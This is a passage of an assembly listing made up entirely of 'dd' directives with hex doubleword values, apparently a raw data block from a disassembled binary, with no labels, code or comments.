		dd 0B1C5A074h, 3E012E1h, 4965AB0Bh, 0CD2A82BFh,	0D0C9D357h
		dd 0F702199Ch, 20B0CA94h, 16A1DE0Eh, 0BD6FAA2Ch, 8680835Dh
		dd 9435EBFh, 12EA854Ah,	232AABEAh, 0ACBEC580h, 0D60BFD6Ah
		dd 84D3A5B3h, 0F84B0190h, 712FACFCh, 0CABF18DBh, 31FA7E3Dh
		dd 5DCCA99Fh, 0E642B64Ah, 0F737F5h, 0F02B76CEh,	6013DBE2h
		dd 53C252AAh, 0E5F0601h, 8FF45695h, 0A99631BDh,	8C18BC0Bh
		dd 0F0166E06h, 95FC52A7h, 72E9EB5Ch, 7DE19702h,	58B67A2Ah
		dd 8CCC16F2h, 2F259919h, 8B2B33D7h, 0CC9A5EB4h,	67B7C180h
		dd 9012AEEBh, 12AB1E49h, 7D1DE584h, 15CB8BCh, 86F23323h
		dd 0C66EC678h, 5D5F1A7Fh, 745204F3h, 0B0A9C7E2h, 0AE6159F7h
		dd 8074EE04h, 38BCBBEBh, 89BFF901h, 2F142723h, 0AEDB1D13h
		dd 0D2C97D80h, 46500C40h, 124A61B9h, 0DAB21DB8h, 0FE253C5Eh
		dd 0A505F663h, 6AADD949h, 2F86FAAh, 8EECF10Fh, 586E45F9h
		dd 9705175Ch, 8D29C7F9h, 17768ABDh, 0E70A119Dh,	1EFC5AD8h
		dd 0EABD29C5h, 0B06F4BC9h, 5E9551A0h, 810924ECh, 667030BBh
		dd 0BE07342Fh, 258DBC12h, 55D39F49h, 14915B9Fh,	0AC536884h
		dd 0BD988071h, 0DC8E93h, 8A30F667h, 273F43CDh, 0CAABDA01h
		dd 5BCB4FEDh, 0A81EB26Ah, 4D2E09DFh, 18959EEh, 60806C71h
		dd 9F683DB9h, 12CEB355h, 83D2AF29h, 51635E61h, 8A641747h
		dd 0FEAECCBAh, 7842E295h, 5FFF38C9h, 0B82EACD1h, 96939E26h
		dd 3BE0F7B6h, 13019E76h, 0B0E26F53h, 9D309708h,	97024255h
		dd 5C8B8BC1h, 0C868352Fh, 92003753h, 9A689087h,	3D913AFFh
		dd 0A681D134h, 866181E7h, 0B32848ADh, 26CC164Bh, 5BB784E8h
		dd 3FFD0044h, 0C6DFEA31h, 33202B04h, 5081FA79h,	5F002C05h
		dd 36FEF381h, 0E56D9325h, 0AA691233h, 0D006C7Bh, 58F1A3ACh
		dd 7E0F5B7Fh, 62DF8160h, 55115A85h, 61F94A98h, 8A74F8B7h
		dd 396D5EDh, 0CF37BFh, 0B4908378h, 8925AE91h, 96E27F95h
		dd 46F6545Ch, 55370916h, 117D82C0h, 0FE90227h, 71E09D7h
		dd 0C1E7DE7Ch, 4A0034AAh, 9026A47Dh, 5F9A9731h,	60500240h
		dd 0F17AB424h, 20FEF017h, 19ED8522h, 0FA40883h,	27BB0B86h
		dd 0B22668Bh, 6AE97FCFh, 8878FB53h, 1977008Bh, 61A4B608h
		dd 6E2F44BFh, 0A1CE82BCh, 51B80C18h, 0E5951098h, 263139A4h
		dd 3FBD9DD1h, 5255EE2h,	70042D44h, 65C611BEh, 2E306FC7h
		dd 2ECD10BBh, 2505A4E1h, 5F4BC67Ah, 57F97B09h, 0F379E092h
		dd 4AA6E000h, 37FB4Ch, 4F92CF20h, 5D4E1BC6h, 63989404h
		dd 9EB17E4h, 0EBFB90C7h, 212D78h, 0AF9E9AD1h, 325F5DFh
		dd 1F75BD14h, 0C6E897C8h, 97082428h, 0A14A95C4h, 0D3A121EBh
		dd 1D42209Fh, 955B2940h, 1C596273h, 35006618h, 162FF63Ch
		dd 953DD487h, 0D3B7E3CEh, 35A050B0h, 0B8BBD602h, 60B2DABCh
		dd 0B465312h, 0D1FF1B60h, 2B82BD37h, 40305B69h,	78563C52h
		dd 0EF8012C4h, 88B5F2EAh, 0FE8A8249h, 9B82026Ah, 730A2015h
		dd 0ED38DB02h, 69FE5750h
		dd 0BEF6BB61h, 0D47E9E7Eh, 71BAD625h, 10FD50Ch,	8E2B2DE9h
		dd 3F5B10B5h, 0E1C6A64Fh, 8F301901h, 0DAEC1283h, 2575AE37h
		dd 0D4A0ACF6h, 0E0003A0Ch, 8EF2ABE2h, 95B589EDh, 0BF50C768h
		dd 0CED3451Dh, 0E5D69A7h, 378CBF15h, 0F26F6BBh,	0F81297AAh
		dd 0F4D9BF72h, 0FD2A7549h, 7B318922h, 267FB294h, 909E6E75h
		dd 9724EC83h, 1991899Fh, 0C4935380h, 134888F3h,	0FDCDC0C0h
		dd 98B5DEFh, 0A418B1EAh, 642E268Bh, 894E4133h, 4333219Dh
		dd 0BCE40106h, 2941A273h, 89805D42h, 642E03FDh,	5E137095h
		dd 0DD62B887h, 4470E6CBh, 0ECE40081h, 0DD7C1913h, 8F093F1Bh
		dd 87A95A22h, 71F09E74h, 5BE5660h, 7548327Dh, 4BD7B25Eh
		dd 1B3900EAh, 0E42156A8h, 1C3E2D79h, 0C702833Ch, 8A0129E9h
		dd 92A15E61h, 10A2A2EBh, 0A94E10E1h, 0FEBF1080h, 5A34AAD6h
		dd 4A9BC81h, 8791EA04h,	90C1E2Dh, 75BD954Ah, 35EB8101h
		dd 6A2F93B1h, 4245ACC8h, 86B04E0Bh, 51F5B8FFh, 0B67891D1h
		dd 7D26FBA0h, 0DB50E800h, 0A8461B3Eh, 9861035Bh, 0C4BBF2A6h
		dd 4283E9B9h, 81D58568h, 9D0B492Ch, 0DBFA5FD6h,	0B5EC074Ah
		dd 8C92A45Ah, 9BF0544h,	590C1F5Dh, 1644977Ah, 0C34B0CBBh
		dd 0D9CE53F9h, 47E0870Fh, 0D8217BE9h, 25D4E4E3h, 9DE656ABh
		dd 0D66D4197h, 48CF8A2Bh, 8E0E245Eh, 0E9C9750h,	10848B37h
		dd 0BD563EA4h, 560B8B87h, 750849D2h, 2ADE2F72h,	8877369h
		dd 8005C02Ch, 0AD1F4EBh, 302FFFBFh, 0DD3815Bh, 9101306h
		dd 9699D7B9h, 0A539268Ah, 2F4D4FC2h, 0A1144EE0h, 0B2C60084h
		dd 29F6E873h, 1A41F18Dh, 3A48A13Ah, 0C02B4044h,	17B892A9h
		dd 16DB681Ch, 0E272B480h, 3BF9ED5h, 4CAA28D6h, 6812D22Bh
		dd 16F6222Dh, 1F79F4D8h, 8112E699h, 8FBFEB52h, 1BD8D312h
		dd 0B1A8126Ch, 0EBCCAF4Eh, 0FAEF0481h, 853D14ECh, 0AA15858Ah
		dd 72493D8Bh, 2B02B6ACh, 0AB695BB0h, 4E12FD60h,	9711077h
		dd 0B2D14D8Dh, 9159612Dh, 0D4007E7Ah, 0DFD7AE01h, 569D882Dh
		dd 0E526996Bh, 7B5FC24Dh, 8FDD78B2h, 1F8BD012h,	202DA4ECh
		dd 5CC4BE59h, 0BFAB8457h, 70F5C9B3h, 0F4AD0968h, 46387702h
		dd 626E797Fh, 603D5CF4h, 0FF85D780h, 66A8E15Eh,	0AD7C7E69h
		dd 0C764EBh, 60F39C33h,	0FF689B12h, 8ECBF828h, 541A892Fh
		dd 4CF78D9h, 4019CF9Fh,	1E85BB39h, 26409497h, 53F704BEh
		dd 79078D25h, 526FC439h, 0A50CDB08h, 64EFCCD7h,	0E8603325h
		dd 0E5CB80A0h, 884C3h, 5E7F353Bh, 0DED69E83h, 93476A03h
		dd 0D58EB0D8h, 35BA2625h, 0F5D5BF05h, 0FAE0B8A6h, 5AE48206h
		dd 25E49558h, 0B742E22Dh, 0F7238072h, 819643EEh, 64D2824Bh
		dd 72502946h, 97614544h, 6D7566BAh, 0FC5B40C6h,	5C02EFF6h
		dd 0ED8529C4h, 46BA571Ah, 0C2FD2841h, 0DB75001h, 6E2BDE75h
		dd 7D090070h, 1F7C13A1h, 8A601332h, 0B66FCE3h, 716A440Ah
		dd 0FEED8FFBh, 91F5EFF2h, 71FB2E20h, 894975Bh, 3B0574Ah
		dd 81C5B950h, 68DD2346h, 6A19F4E1h, 801CB849h, 3B74DA1h
		dd 0C6340790h, 60C49262h, 0DC43BC0Fh, 1F18A00h,	0BB593739h
		dd 5F8E3C7h, 55E49561h,	32F0BF0Fh, 25787EF5h, 49FEFE52h
		dd 0FD0FB479h, 82BF8B6Eh, 7058101Ah, 133597CEh,	58891491h
		dd 0BB29A607h, 8150005Ch, 96E807C7h, 90233E9h, 0C2E26D55h
		dd 8461B451h, 94F8C8B5h, 534CF518h, 975FD9C2h, 2EF9F319h
		dd 699EDB13h, 0CBE472C7h, 0C2F8958Ah, 1051AC5h,	0D51C32C2h
		dd 20A03C6Eh, 1DFE2BD7h, 75AACA9Fh, 1564D54Dh, 89BEAA60h
		dd 95290616h, 0B65254BBh, 627401ABh, 897C0528h,	3385DF41h
		dd 9EB9F82Eh, 5C0FC50Bh, 1546D430h, 0E13E9317h,	5094F8BBh
		dd 0EA34BB05h, 0E6F10CDAh, 0F8B8D139h, 0D3C15100h, 6EBE774Ah
		dd 9AF94B8Ah, 0C116C8A2h, 80DEDAA0h, 0B3F92FAFh, 0BCE6896h
		dd 601F4023h, 0F7928A5Eh, 0BE1F4EA3h, 0E5909C07h, 0D6478F7Fh
		dd 0FB1F5709h, 853D7007h, 21B46001h, 13E9F65Ah,	38FCC510h
		dd 0A7A21500h, 7068B674h, 0FF730057h, 0D913ACDDh, 0B725E187h
		dd 0D6A5566Dh, 0B0001D46h, 0A01E2319h, 0F11241BEh, 8004328Eh
		dd 90325C1h, 12840585h,	0A9DA8309h, 0E5CE04C2h,	0FE4B31A8h
		dd 4F00587Fh, 3E8620B8h, 85A6DD98h, 101EFFCh, 76E5D48Fh
		dd 0A93AFE10h, 617FC51Ch, 85B852FDh, 0FD28904h,	84210C88h
		dd 0C2091506h, 5CFD29F5h, 1946F634h, 0BB878E3Eh, 4E1A63A6h
		dd 23F82402h, 0AD534F5Ch, 0EE4BF4E2h, 0F7139Ch,	8EA803CFh
		dd 0E6437EABh, 0BABF4202h, 0D7ED778Fh, 0BD036E10h, 0DD11A521h
		dd 0CE986DA5h, 212AF900h, 0D22D1670h, 12B8F477h, 0E3E4B826h
		dd 0E17BA5ACh, 0EEC0C201h, 2398E336h, 0B4350355h, 908D4C24h
		dd 3CB55104h, 7339C29Fh, 9A69D880h, 0F780C946h,	0CDF79752h
		dd 0F7688563h, 0D1EEF580h, 0F1142AA9h, 78B2BFA1h, 8FDAD300h
		dd 623C6197h, 4601BFE0h, 3A5F6C4Ah, 85168CB7h, 0D3D9B919h
		dd 0A93B7BC9h, 0F2AEA4EFh, 61FE4A1Ah, 2F0E91D1h, 1923186Fh
		dd 11C5D500h, 0F1A8DDE3h, 0D86B1265h, 4D73BD4Ch, 0CDCD5C97h
		dd 0A17B3AE9h, 801FF85Bh, 26F381FCh, 4BE42DFBh,	1B598A73h
		dd 2903C418h, 0D0F47D6h, 0B6AACC2Ch, 560925C9h,	0BB66504Fh
		dd 0C6AAD425h, 0F600DB0h, 780F0B8Fh, 31FA93A7h,	6ABD89C6h
		dd 6EEA8ED5h, 216234Ch,	56A92B75h, 640F8F0h, 495FB45Bh
		dd 9CC557h, 0D22DD9C9h,	83259FFCh, 0F8B6C129h, 80B1022Eh
		dd 3AD7FFCBh, 40DDED55h, 836C528h, 96BDAD12h, 25DBF3BEh
		dd 9DB4C6F9h, 0C85953E2h, 1F2CAE20h, 0F989F513h, 509555C4h
		dd 82BD5B4Bh, 142DB501h, 0A504C55Fh, 1D4CF7Ch, 0D35FBF58h
		dd 0CB966656h, 7076E2B9h, 371E91A7h, 0EDED739Dh, 3427C1B7h
		dd 0B70A2A1Fh, 2F67ECFAh, 0E09B0AD0h, 39D9003Dh, 4869269Fh
		dd 65097C81h, 55689EBDh, 0F94B9C6Ch, 282B668Dh,	758A1D53h
		dd 2AE741h, 2E8A6096h, 1CA853F0h, 0AE509E58h, 1FA53B24h
		dd 246DF8A2h, 0A5516DD5h, 0CF036FB7h, 0E12F945Ah, 0E63A698Ah
		dd 3019B299h, 1D3D106Bh, 2916879Dh, 550BFD85h, 3ED070BAh
		dd 0FBB7BE9Ah, 74B742D1h, 0CD693A57h, 11E460E3h, 0CF3E938Ch
		dd 0B8B28C4Fh, 0D371982Dh, 660BAE81h, 0D1B55BC6h, 150B6507h
		dd 9612FFF9h, 8BC12BB2h, 2B8FE9FEh, 71EA5A84h, 78B9B324h
		dd 1BD08B7h, 458D1C18h,	95274CF9h, 51BCF937h, 51692207h
		dd 0ADCBE184h, 0A42B2272h, 97395F5Eh, 54E22E03h, 41E8800Bh
		dd 5200DDB2h, 0A5AAB866h, 11490490h, 17BF025Ch,	822EC29Dh
		dd 7F2065E2h, 2F0092BDh, 0BF4CCE5Bh, 0CD42D6C4h, 0EB726054h
		dd 1458F403h, 0A8BCF007h, 0AB0CDh, 2823E9E5h, 20638867h
		dd 0E06A3Bh, 0A50F944Eh, 52EC54h, 0B1313C71h, 0AC419D9h
		dd 9704AD01h, 50574D1Dh, 3CA57CD4h, 0F0365F3h, 7DFF6C34h
		dd 0CCD620E7h, 4F005467h, 0D43772ECh, 0BA58EFh,	8EB6D765h
		dd 0B8428956h, 0C24C3200h, 18C59825h, 0CAAE076Dh, 0C136DE13h
		dd 889D0BC0h, 0EE18E19h, 5084478h, 0BF324D07h, 0EDD85B10h
		dd 3ED3EFA7h, 7C001110h, 9B2CB819h, 1C66B0C3h, 212808h
		dd 0F77C2A73h, 0FB71E361h, 53E9000h, 3A9F842Eh,	0FA0106A4h
		dd 3031BFB9h, 98F53F01h, 0DEB87440h, 5D0C78BAh,	0B090D48Ah
		dd 0D7E17E03h, 311242Ah, 2F312938h, 4113C257h, 76006EDFh
		dd 0BBFC4D48h, 8756640h, 36A021DAh, 7B00DF9Bh, 1C176093h
		dd 1834E96Fh, 700C9C54h
		dd 0B8C0E4D8h, 89193831h, 0AC82032Bh, 0CC11347Eh, 0FC422DF9h
		dd 4D00A4BEh, 6337E18Fh, 1C5AA7Fh, 1B686FE0h, 0F45345FCh
		dd 0CE1DDB4Bh, 56400B03h, 223B9188h, 9AA300A4h,	76D76887h
		dd 4000DC95h, 4D393E9Eh, 0F53C84h, 0F0F1AC3Bh, 8DE04CDDh
		dd 0E771F700h, 80159F82h, 8307185Dh, 14F838EBh,	576B2C00h
		dd 0AFD96912h, 0CBDA00ABh, 0C5F7988Ah, 0FE01AA8Bh, 0F57B1F46h
		dd 55F1F4BCh, 0A09DA3F0h, 3EF27A0Ch, 0D508E126h, 4B80B873h
		dd 0F1A11A6Dh, 87F800BAh, 91545561h, 0C5185785h, 1D28AB93h
		dd 0C9D80072h, 62C8F213h, 25380A98h, 238803C0h,	9B1B4Fh
		dd 2E5DEFE1h, 6735279Dh, 13F889F0h, 88997200h, 0BFA2EE0Ah
		dd 8F16304Fh, 0B1411431h, 29D0BE63h, 3F50000Dh,	4C0647D5h
		dd 82500FDEh, 0FAFA8997h, 6B9B4800h, 1C498CDAh,	0DE163DABh
		dd 2E112BB4h, 3F608304h, 0B4100024h, 1E754714h,	410132BDh
		dd 0BAAAC4EAh, 33C15342h, 0EEC4A171h, 0F7F01A8h, 0F0C4C84Dh
		dd 65F2FCFAh, 7C20691Eh, 878D9080h, 1CECF1h, 0C36B7A13h
		dd 959F75CCh, 0ACB62400h, 151D5A4Ch, 61400DAh, 929DF18Eh
		dd 6F006C74h, 0D432D0DDh, 88F7FEh, 0E0B432Ah, 0D5E127Ah
		dd 17003AB8h, 60190806h, 0D228FDh, 794FA5C7h, 8750D83Ch
		dd 13B9E00h, 0A35CBD93h, 7081005Ah, 0FD1D4CB5h,	0EF00380Bh
		dd 0B418B864h, 9EC2F7h,	454E7F33h, 90E38C7Ch, 5CC50F00h
		dd 8488BA82h, 153900B0h, 38949A42h, 0AE714BD1h,	0E150B460h
		dd 0E83407h, 0C521A965h, 4A800946h, 0B98629C0h,	0CCF0E4h
		dd 653933F7h, 585E6CF3h, 9C69BCA1h, 0C840D13Eh,	1B444CAAh
		dd 24B30F60h, 0CEA0D4CDh, 0B6EF6725h, 45C91200h, 0EF2794Eh
		dd 0A94700F8h, 2904909Dh, 2A163DB7h, 78053A51h,	0EC403E88h
		dd 0B5F6E6C2h, 7E500003h, 0B0784069h, 4B002795h, 19567B82h
		dd 8D2918h, 0C15CA8E9h,	302643C3h, 5997C21Eh, 959B6580h
		dd 1AAB422h, 0E9AC61Ah,	0F8F7E2DAh, 9800F0E8h, 7E6B7432h
		dd 1C1DDD7Ch, 0FF9007DCh, 0CDFC9580h, 216191ADh, 380DED30h
		dd 99F098h, 7A349B33h, 286D68A1h, 8EC27E00h, 969D8F83h
		dd 0E7B2025Ah, 0D6329AFBh, 67699882h, 5E14420h,	4DE8D5h
		dd 0F4A9F54h, 1FA3700Ah, 2D166F77h, 5700D3CCh, 6EDCEAB7h
		dd 965D18B3h, 281F2680h, 0D195F400h, 0A1A56443h, 0C1300F2h
		dd 0C601390Eh, 77004BB9h, 0A36C20Fh, 0C1D58509h, 7B7E6A80h
		dd 48A8E4DEh, 5E559892h, 496ED08Ch, 0D4DBD603h,	0C0EE242Ch
		dd 0F46B8F5h, 0D0D5BC15h, 0CB047780h, 0E701C32Fh, 0F391A6F7h
		dd 78F059CFh, 9283006Bh, 22DC4088h, 471201C8h, 4000B756h
		dd 0D534EF5Eh, 9F1F0011h, 0D884D0E0h, 4900B546h, 0EEB18C60h
		dd 5527B69h, 0F911AD37h, 80945F92h, 0B7239555h,	0DC90475Fh
		dd 0E2BADD00h, 7535E908h, 8CA300E7h, 4286BC8Eh,	3600ED5Dh
		dd 497615D3h, 5C2829h, 62963870h, 0CC7D9706h, 36F2D503h
		dd 0FFACD966h, 0E9D35541h, 9000F025h, 0FBCB70h,	95BBF777h
		dd 0D8981894h, 9C9BF200h, 6520482Fh, 3B2602B5h,	0E26857E4h
		dd 76059A40h, 915B1E00h, 4D3396BAh, 325FAB9h, 0C1412BA2h
		dd 2800E38Dh, 88868FF8h, 45292Ch, 3BB651DBh, 0D6DE74B9h
		dd 3846DC48h, 3EBD80ADh, 0FD08476Ch, 0C95201EFh, 852531CEh
		dd 5A9C40D4h, 0FA12027Eh, 0A800C7D6h, 1B277665h, 0A6D9093Ah
		dd 9C008D9Bh, 0E09D549Fh, 4FD22605h, 0C8413221h, 46423811h
		dd 82D048h, 689E8058h, 55CB81A6h, 0BBC38B00h, 6C774516h
		dd 363F00BCh, 0C288EACFh, 6D00A28Ch, 6BBA5B95h,	910786h
		dd 7D65F0C1h, 0DB06991Dh, 0D6CD3600h, 96F2F6E0h, 0C8AE042Eh
		dd 0D0B50DC9h, 0A43048D4h, 0E9E20E02h, 6084D2C1h, 0B0940643h
		dd 0ECB71CCh, 7F876743h, 3D054443h, 0B6D470F8h,	9B6A9200h
		dd 24C85585h, 18979E8h,	0C5B8B33Fh, 0D8E56F76h,	0EC15FB65h
		dd 20841FC3h, 41C2125Ch, 7FE04112h, 0EC73C110h,	0B00B7AFh
		dd 70F1A4F4h, 334C5BAh,	0DA66EBE0h, 0C3D0C81Dh,	0DF002426h
		dd 1F7DDE0Ch, 4D3041h, 0D24863BCh, 2818D837h, 0A79FEE00h
		dd 0DF6A1B5Ah, 0D1F8FAh, 46A50B15h, 407CA4ADh, 2A035000h
		dd 0F43A0F3Dh, 9698F5h,	7249A360h, 31BCB25h, 6712A77Dh
		dd 18009438h, 15314655h, 4D6D121Eh, 22480064h, 0B264ABEh
		dd 0CD78677Dh, 3133B930h, 4C84B841h, 0DB008AA7h, 0EEFDC537h
		dd 0BF00A9CDh, 8801116Ah, 395EF44h, 1F5C7F18h, 27A80D9Ah
		dd 2C163367h, 4B003AB6h, 11C72168h, 1E351C26h, 0FC9B80AEh
		dd 2FCCA333h, 3D7C9703h, 935D7F5Ch, 0B847F390h,	15EBA43h
		dd 666DC910h, 0D046C2A3h, 0B907161Fh, 0EA6C6308h, 6592AEC0h
		dd 0C0FF00C4h, 602F730h, 3900A1E1h, 0F1DF0AC7h,	78B08CB8h
		dd 0A8D400C2h, 6373F711h, 0E028168Ah, 9F00A7BDh, 0F3951ABCh
		dd 13427h, 3A4BF580h, 0DD3960E0h, 0EADF2B09h, 0C824806Ah
		dd 57B1ABh, 0C1944F7Eh,	9C9F35Fh, 0DEF6FE00h, 418DB26Dh
		dd 2EEA61h, 9E8BE28Ch, 50B0EDEAh, 0FE56BF00h, 64AE99BBh
		dd 600F00DFh, 8320E2E1h, 0C700578Bh, 823FD08Ah,	0FAA24BBDh
		dd 6E1E00ADh, 0D1E62F48h, 20BAC91Ch, 140EB77Ah,	203227B4h
		dd 2C07FAC0h, 9923009Eh, 4FAB05EAh, 4D0045A1h, 42F7BD9Dh
		dd 0FEE9273h, 0B9AFACE9h, 906C09Eh, 5030E4Fh, 0E6C53600h
		dd 5BB5A539h, 0BE5917A2h, 87844008h, 0CF656DEFh, 0AC978000h
		dd 0E5C01A85h, 0B1253895h, 2514180h, 0D3830C2Bh, 30E3FA05h
		dd 0AE8050A6h, 12071h, 0F2E9C0AEh, 0A2BA90C2h, 0B630C00h
		dd 0D930BF6Ch, 5F602EBh, 886683B5h, 5D0FE848h, 9007A2E0h
		dd 98A0F875h, 0B806E441h, 0F87420BCh, 2EEEF8F2h, 0BED042D7h
		dd 54E6A809h, 30D2F4A0h, 0FF7050C7h, 89065BE8h,	53ABFA6Dh
		dd 3BF67C38h, 44BE8E76h, 0D6A82780h, 8F5D2440h,	3F90461h
		dd 89F80568h, 0F310A13Fh, 0FCC20C9h, 2AE094h, 0A6FE75B9h
		dd 0B6B54C8h, 1D4EA300h, 8878F270h, 9567019Bh, 45105012h
		dd 948FC425h, 4A081D00h, 0C2DD55A6h, 3C5B0772h,	705C649Ah
		dd 9FCD9E9Ch, 0CE21520Eh, 720B2022h, 17A01F0h, 938AE1AFh
		dd 0E49FC0EBh, 57079C63h, 2EE0C7BFh, 0F19854A0h, 0D7610076h
		dd 392FBAD2h, 927BC4CBh, 256EB900h, 0E5AD6F3Bh,	273F00C0h
		dd 660C90B0h, 42003A67h, 1894D61h, 0A0F406FBh, 952BEA94h
		dd 88881658h, 0CF008E3Ch, 0A88F8B2Dh, 0CCE78355h, 0C1213B08h
		dd 14CFF600h, 1ABBCB0Dh, 0F3A1583h, 2800C852h, 77BC255Fh
		dd 1107D806h, 8AC92F87h, 0B8188F01h, 8C811881h,	50276447h
		dd 9556CBE8h, 58A0FA0Eh, 33191774h, 2197CF08h, 7A3700E9h
		dd 0EE0C01ECh, 65E06700h, 0CF39BEACh, 9260C10Ah, 1A1D887h
		dd 4707CDBh, 21195CBEh,	41041040h, 30C9A8BDh, 87E13178h
		dd 0A1574A20h, 30662848h, 0B7190E07h, 3A80AC84h, 98985033h
		dd 970300F3h, 8953AEDBh, 6400E76Bh, 1D407A3h, 90595D06h
		dd 0ACA4004Ah, 0D2F2EB40h, 0E009D14h, 9739DDD6h, 7C5E8592h
		dd 0E45B0061h, 4186C7C8h, 0AD00800Bh, 65FA178h,	0FDD6AAAh
		dd 880D35C5h, 0DF74DA40h, 360FEB30h, 26465DE0h,	405A43h
		dd 0F5FDDBC6h, 0FAAF1D47h, 0AEE25BF0h, 7E330E2Eh, 0CCDC813Fh
		dd 97B64727h, 3063430h,	305FD311h, 5000DABFh, 0AF2776Bh
		dd 1859CA16h, 192BAF48h, 30062707h, 4C3F22D7h, 11B80171h
		dd 0C42A014Fh, 0BDC2067h
		dd 0EFEA2500h, 0B3BD521Fh, 767F786Bh, 90CE0620h, 98C168B7h
		dd 0D595E40Dh, 45E04936h, 54DC185Ah, 4E4311EEh,	416A2300h
		dd 0AA554007h, 0A5350CFFh, 5441C3CCh, 24D78700h, 61B21957h
		dd 510F0073h, 0A2DA9B69h, 8500036Bh, 0BCAAF5C9h, 304BC333h
		dd 0B6715C3Eh, 0C5008A6Fh, 2F41E586h, 1D643213h, 244CAAh
		dd 9CE0B3FAh, 51033B3Fh, 0A9EFDE29h, 0FC083728h, 3F340021h
		dd 0AB3E6E74h, 0E6CF9271h, 0AA398F00h, 486279h,	0ACCE978Ch
		dd 0B988611Ch, 0EDD8681Fh, 6FEB6907h, 854866C6h, 60E3C43Ch
		dd 0CBB805h, 0BEB770B2h, 3B9DEC1Ah, 2ED1DC07h, 0CA8035E9h
		dd 1B3FCC6h, 0B493E8D7h, 0D08064C0h, 0FF7C2D10h, 3BDA10C0h
		dd 0C619CEBh, 7968C42Fh, 21C0D009h, 6AEB44BAh, 65BD0083h
		dd 0E9ADCF4h, 1802DDA2h, 4C0A1A40h, 0AC64A4F1h,	153F8260h
		dd 11995123h, 9B6E00F8h, 0D38CC3Fh, 0D77E0063h,	856B8EBDh
		dd 3480FDFFh, 286C50EBh, 94A5140Eh, 0DE2EF101h,	0D8A6014Ah
		dd 0D467D72Fh, 9106C690h, 69883EFAh, 0C4C00130h, 8F27739Bh
		dd 0E724C876h, 3090BE3Ah, 93CD217Bh, 0E20C0073h, 0E7BA1EEBh
		dd 250CCA1Ch, 0D03BC6FCh, 83048CADh, 9151183Fh,	6D20FE62h
		dd 423F38h, 737F8110h, 7A37AACCh, 0E2F12907h, 83B053CDh
		dd 0A61686Bh, 2C3DB487h, 0EB1863C4h, 62E7D4FFh,	11BD20D1h
		dd 9D057AEBh, 559228C6h, 6C38014h, 24E8D0B6h, 5A670029h
		dd 19E0A7A4h, 42097FABh, 813C40D9h, 0F939AD47h,	22AC28A0h
		dd 0B12AFB6Bh, 0EF018872h, 5C1656E9h, 6EECF12Eh, 9A873977h
		dd 193A4880h, 0CAEDD9F8h, 0F4600A18h, 48B835D8h, 60C34D2h
		dd 374976AFh, 90EA0137h, 0F6618580h, 3C810040h,	0DA1B185Fh
		dd 0B3059012h, 42FAAEE8h, 7397D860h, 968F1023h,	80DCC890h
		dd 0F273AF29h, 0A306D0FCh, 5021BF6h, 8E4F0069h,	0D23BB00Ah
		dd 3000F4FDh, 863A7A2h,	317D8F05h, 15A8F864h, 0C9A0F3ABh
		dd 2229AC0h, 26D303B2h,	546D9BA9h, 0EF34FEF1h, 21FC0830h
		dd 2A93E2Dh, 141BBAB5h,	0C0807011h, 8E6B2A6Ah, 4430EB78h
		dd 43D3A865h, 94055028h, 0F5881262h, 55FC03DBh,	18F6C9F0h
		dd 3FB48112h, 0EB160061h, 4C379642h, 0A3ED4400h, 71EB3F02h
		dd 0A0FD4C31h, 48DD47DCh, 6A39009Eh, 7BA43C0h, 0A300D33Fh
		dd 0BF7DE9D2h, 52BB82DDh, 0B840B081h, 900F8C41h, 0B18F2273h
		dd 26807B88h, 0FBF773A8h, 21203C61h, 0A053C8E0h, 0F480D454h
		dd 60334C94h, 8CE1BCh, 74B96F10h, 79AB6895h, 8875D01h
		dd 75ED204Fh, 0B0096899h, 8911844h, 0A68F2173h,	2740DDC4h
		dd 86BF73A9h, 530A7102h, 666EEAB4h, 0B1A10120h,	3A05512h
		dd 66197040h, 9FDF8803h, 8898EDC3h, 929817Fh, 0F2F87DD9h
		dd 978A1801h, 19B1C0A7h, 0AB2B0A00h, 2CFD4DA4h,	647B025Dh
		dd 0C33B8E20h, 3CEEF0A3h, 0C6C05800h, 62FD2FA4h, 3A8E244Dh
		dd 80371138h, 6D90A921h, 0FD448C6Ch, 0A9390EF4h, 84144F26h
		dd 940F3D23h, 0E8FC773h, 41786428h, 3B73ACCAh, 67DC6DF8h
		dd 0F01AC8F1h, 531359ABh, 3599A607h, 0C0CFE0DFh, 0C6DF128h
		dd 6A28C6E1h, 40467080h, 25739502h, 0BCB3868Fh,	0AD2B40ECh
		dd 4EFE73h, 2F093907h, 0A25C434Fh, 0B0306E00h, 0A5787F37h
		dd 0B20980Ch, 32E19BC0h, 4E89FDh, 0FC0E64F4h, 67360310h
		dd 0FE699873h, 9CDC5850h, 1E88E340h, 9D3A4C65h,	5875792Eh
		dd 0D4117438h, 0DA5405D2h, 203C43AAh, 623546BDh, 6C9E0F8h
		dd 0D0C0884Bh, 0EA86FD28h, 7C7515BAh, 130BC8B1h, 0A0028109h
		dd 3A182C3Bh, 4361F8EBh, 43BF8017h, 1EFFFEBh, 2CF9ADFh
		dd 24F0DC37h, 0A08C9D08h, 4C6D9A5Fh, 2EE0405Ch,	2FF6A93Fh
		dd 0DA570301h, 12F00FC4h, 0D7A22C23h, 0F6BA30h,	0D2F53FFFh
		dd 6B99730Ah, 30AA9200h, 0FD6D431Ch, 0FA43006h,	7855F1E9h
		dd 0FC516A90h, 15D9F1DCh, 0A4F56483h, 9E30A822h, 5139393Fh
		dd 0FF2246h, 703F376Ah,	4C600918h, 38BB49h, 6C11A5D7h
		dd 0C0EC639Dh, 8EF9A268h, 673B66C0h, 0A8EF2678h, 7B0BE89Ch
		dd 0D4809CDh, 0C7F098B4h, 4A7800B7h, 0DB74A5C5h, 3AE2F13Eh
		dd 0EAA4AD03h, 7B67D46Fh, 0C4A31368h, 7A640BA6h, 0DC02468Bh
		dd 0E98BD05Ah, 0D445981Ah, 8663D3C4h, 0AB5FDA00h, 0E70F9667h
		dd 2AEF1472h, 0E8109866h, 302E9669h, 0AC00E223h, 0B4BA3AD6h
		dd 0F1CC0C6Ah, 0D421F44Ch, 9C181500h, 0CA6C0C7Ah, 5DF0EFC8h
		dd 235602ECh, 496530F3h, 0E43C1CE1h, 0EB21D713h, 92A02004h
		dd 0FD400ABCh, 10844BF8h, 0C73AC894h, 619EF139h, 88D5183Fh
		dd 0EB0042B8h, 0D8FD4358h, 0FB9597EFh, 1ECEB0FCh, 94A415A9h
		dd 8488C0Eh, 70EA5106h,	0B135C9C8h, 108E693Dh, 46C0DE88h
		dd 488327h, 60431D0Eh, 0B4F96487h, 0FA796E7Fh, 920528A4h
		dd 0BE8F3873h, 79288Eh,	0F86073AAh, 0A0196CC7h,	18F9C824h
